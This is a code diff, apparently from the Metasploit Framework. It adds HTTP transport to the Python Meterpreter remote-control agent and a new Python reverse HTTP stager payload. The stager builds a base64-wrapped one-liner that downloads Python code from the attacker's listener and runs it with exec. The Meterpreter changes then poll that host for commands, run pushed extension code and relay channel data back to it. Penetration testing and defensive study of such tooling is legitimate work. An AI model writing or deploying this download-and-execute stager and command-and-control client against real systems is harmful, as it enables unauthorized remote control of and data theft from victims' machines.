diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index aa1ca27df5..b1ff544ab3 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -60,9 +60,13 @@ if sys.version_info[0] < 3: bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + if isinstance(__builtins__, dict): + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + str = lambda x: __builtins__['str'](x, 'UTF-8') + else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) + str = lambda x: __builtins__.str(x, 'UTF-8') is_bytes = lambda obj: issubclass(obj.__class__, bytes) - str = lambda x: __builtins__['str'](x, 'UTF-8') NULL_BYTE = bytes('\x00', 'UTF-8') long = int @@ -501,6 +505,8 @@ IFLA_MTU = 4 IFA_ADDRESS = 1 IFA_LABEL = 3 +meterpreter.register_extension('stdapi') + def calculate_32bit_netmask(bits): if bits == 32: return 0xffffffff diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 50fbaec1a9..794ed40e5e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -18,19 +18,50 @@ except ImportError: else: has_windll = hasattr(ctypes, 'windll') +# this MUST be imported for urllib to work on OSX +try: + import SystemConfiguration as osxsc + has_osxsc = True +except ImportError: + has_osxsc = False + +try: + urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] + if sys.version_info[0] < 3: + urllib = __import__('urllib2', fromlist=urllib_imports) + else: + urllib = __import__('urllib.request', fromlist=urllib_imports) +except ImportError: + has_urllib = False +else: + has_urllib = True + if sys.version_info[0] < 3: is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' else: + if isinstance(__builtins__, dict): + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + str = lambda x: __builtins__['str'](x, 'UTF-8') + else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) + str = lambda x: __builtins__.str(x, 'UTF-8') is_bytes = lambda obj: issubclass(obj.__class__, bytes) - str = lambda x: __builtins__['str'](x, 'UTF-8') NULL_BYTE = bytes('\x00', 'UTF-8') + long = int # # Constants # + +# these values may be patched, DO NOT CHANGE THEM DEBUGGING = False +HTTP_COMMUNICATION_TIMEOUT = 300 +HTTP_CONNECTION_URL = None +HTTP_EXPIRATION_TIMEOUT = 604800 +HTTP_PROXY = None +HTTP_USER_AGENT = None PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 @@ -284,15 +315,43 @@ class STDProcess(subprocess.Popen): export(STDProcess) class PythonMeterpreter(object): - def __init__(self, socket): + def __init__(self, socket=None): self.socket = socket + self.driver = None + self.running = False + self.communications_active = True + self.communications_last = 0 + if self.socket: + self.driver = 'tcp' + elif HTTP_CONNECTION_URL: + self.driver = 'http' + self.last_registered_extension = None self.extension_functions = {} self.channels = {} self.interact_channels = [] self.processes = {} for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) - self.running = True + if self.driver: + if hasattr(self, 'driver_init_' + self.driver): + getattr(self, 'driver_init_' + self.driver)() + self.running = True + + def driver_init_http(self): + if HTTP_PROXY: + proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) + opener = urllib.build_opener(proxy_handler) + else: + opener = urllib.build_opener() + if HTTP_USER_AGENT: + opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] + urllib.install_opener(opener) + self._http_last_seen = time.time() + self._http_request_headers = {'Content-Type': 'application/octet-stream'} + + def register_extension(self, extension_name): + self.last_registered_extension = extension_name + return self.last_registered_extension def register_function(self, func): self.extension_functions[func.__name__] = func @@ -318,19 +377,73 @@ class PythonMeterpreter(object): self.processes[idx] = process return idx + def get_packet(self): + packet = getattr(self, 'get_packet_' + self.driver)() + self.communications_last = time.time() + if packet: + self.communications_active = True + return packet + + def send_packet(self, packet): + getattr(self, 'send_packet_' + self.driver)(packet) + self.communications_last = time.time() + self.communications_active = True + + def get_packet_http(self): + packet = None + request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers) + try: + url_h = urllib.urlopen(request) + packet = url_h.read() + except: + if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: + self.running = False + else: + self._http_last_seen = time.time() + if packet: + packet = packet[8:] + else: + packet = None + return packet + + def send_packet_http(self, packet): + request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers) + try: + url_h = urllib.urlopen(request) + response = url_h.read() + except: + if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: + self.running = False + else: + self._http_last_seen = time.time() + + def get_packet_tcp(self): + packet = None + if len(select.select([self.socket], [], [], 0.5)[0]): + packet = self.socket.recv(8) + if len(packet) != 8: + self.running = False + return None + pkt_length, pkt_type = struct.unpack('>II', packet) + pkt_length -= 8 + packet = bytes() + while len(packet) < pkt_length: + packet += self.socket.recv(4096) + return packet + + def send_packet_tcp(self, packet): + self.socket.send(packet) + def run(self): while self.running: - if len(select.select([self.socket], [], [], 0.5)[0]): - request = self.socket.recv(8) - if len(request) != 8: - break - req_length, req_type = struct.unpack('>II', request) - req_length -= 8 - request = bytes() - while len(request) < req_length: - request += self.socket.recv(4096) + request = None + should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5) + self.communications_active = False + if should_get_packet: + request = self.get_packet() + if request: response = self.create_response(request) - self.socket.send(response) + self.send_packet(response) else: # iterate over the keys because self.channels could be modified if one is closed channel_ids = list(self.channels.keys()) @@ -370,7 +483,7 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.socket.send(pkt) + self.send_packet(pkt) if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') @@ -379,7 +492,7 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.socket.send(pkt) + self.send_packet(pkt) def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] @@ -390,21 +503,25 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.socket.send(pkt) + self.send_packet(pkt) def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = list(self.extension_functions.keys()) + + self.last_registered_extension = None symbols_for_extensions = {'meterpreter':self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = list(self.extension_functions.keys()) - new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) - for method in new_methods: - response += tlv_pack(TLV_TYPE_METHOD, method) + extension_name = self.last_registered_extension + + if extension_name: + check_extension = lambda x: x.startswith(extension_name) + lib_methods = list(filter(check_extension, list(self.extension_functions.keys()))) + for method in lib_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response def _core_shutdown(self, request, response): @@ -546,5 +663,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): os.setsid() except OSError: pass - met = PythonMeterpreter(s) + if HTTP_CONNECTION_URL and has_urllib: + met = PythonMeterpreter() + else: + met = PythonMeterpreter(s) met.run() diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 75276cb6b4..8d2017b1bd 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -194,6 +194,40 @@ protected # Process the requested resource. case uri_match + when /^\/INITPY/ + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = payload_uri + conn_id + '/' + + blob = "" + blob << obj.generate_stage + + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + + # Patch all the things + blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") + blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") + + unless datastore['PROXYHOST'].blank? + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + + resp.body = blob + + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => ssl?, + }) + when /^\/INITJM/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) url = payload_uri + conn_id + "/\x00" @@ -201,7 +235,7 @@ protected blob = "" blob << obj.generate_stage - # This is a TLV packet - I guess somewhere there should be API for building them + # This is a TLV packet - I guess somewhere there should be an API for building them # in Metasploit :-) packet = "" packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" @@ -223,7 +257,6 @@ protected }) when /^\/A?INITM?/ - url = '' print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/msf/core/handler/reverse_http/uri_checksum.rb index cbb9ca0a76..96e76baec3 100644 --- a/lib/msf/core/handler/reverse_http/uri_checksum.rb +++ b/lib/msf/core/handler/reverse_http/uri_checksum.rb @@ -8,8 +8,9 @@ module Msf # Define 8-bit checksums for matching URLs # These are based on charset frequency # - URI_CHECKSUM_INITW = 92 - URI_CHECKSUM_INITJ = 88 + URI_CHECKSUM_INITW = 92 # Windows + URI_CHECKSUM_INITP = 80 # Python + URI_CHECKSUM_INITJ = 88 # Java URI_CHECKSUM_CONN = 98 # @@ -61,6 +62,8 @@ module Msf case uri_check when URI_CHECKSUM_INITW uri_match = "/INITM" + when URI_CHECKSUM_INITP + uri_match = "/INITPY" when URI_CHECKSUM_INITJ uri_match = "/INITJM" when URI_CHECKSUM_CONN diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 1cc216f6d6..35e5a40cb7 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -45,7 +45,7 @@ module ReverseHttpsProxy OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) - ], Msf::Handler::ReverseHttpsProxy) + ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( [ diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 7521d6895a..a812c5c7de 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -96,7 +96,7 @@ module PacketDispatcher # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue if req.body[0,4] == "RECV" - rpkt = send_queue.pop + rpkt = send_queue.shift resp.body = rpkt || '' begin cli.send_response(resp) diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb new file mode 100644 index 0000000000..1084cc7949 --- /dev/null +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -0,0 +1,67 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), + OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) + ], Msf::Handler::ReverseHttp) + end + + # + # Constructs the payload + # + def generate + lhost = datastore['LHOST'] || Rex::Socket.source_address + + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + target_url = 'http://' + target_url << lhost + target_url << ':' + target_url << datastore['LPORT'].to_s + target_url << '/' + target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) + + cmd = "import sys\n" + if datastore['PROXYHOST'].blank? + cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" + else + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" + cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" + end + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" + cmd << "exec(o.open('#{target_url}').read())\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub + end +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 536c719bf9..a4a642a663 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -14,10 +14,7 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => %q{ - Run a meterpreter server in Python. Supported Python versions - are 2.5 - 2.7 and 3.1 - 3.4. - }, + 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)', 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, @@ -25,18 +22,18 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_Python_Python )) register_advanced_options([ - OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ]) + OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ]) ], self.class) end def generate_stage - file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") - met = File.open(file, "rb") {|f| + met = ::File.open(file, "rb") {|f| f.read(f.stat.size) } - if datastore['DEBUGGING'] + if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 5cf608e0de..fe5f7d6502 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1837,6 +1837,16 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/bind_tcp' end + context 'python/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/reverse_http', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_http' + end + context 'python/meterpreter/reverse_tcp' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ diff --git a/tools/missing-payload-tests.rb b/tools/missing-payload-tests.rb index 202bc7b656..5d46ad398b 100755 --- a/tools/missing-payload-tests.rb +++ b/tools/missing-payload-tests.rb @@ -62,15 +62,15 @@ File.open('log/untested-payloads.log') { |f| $stderr.puts $stderr.puts " context '#{reference_name}' do\n" \ " it_should_behave_like 'payload can be instantiated',\n" \ - " ancestor_reference_name: [" + " ancestor_reference_names: [" ancestor_reference_names = options[:ancestor_reference_names] if ancestor_reference_names.length == 1 $stderr.puts " '#{ancestor_reference_names[0]}'" else - $stderr.puts " '#{ancestor_reference_names[0]}'," - $stderr.puts " '#{ancestor_reference_names[1]}'" + $stderr.puts " '#{ancestor_reference_names[1]}'," + $stderr.puts " '#{ancestor_reference_names[0]}'" end $stderr.puts " ],\n" \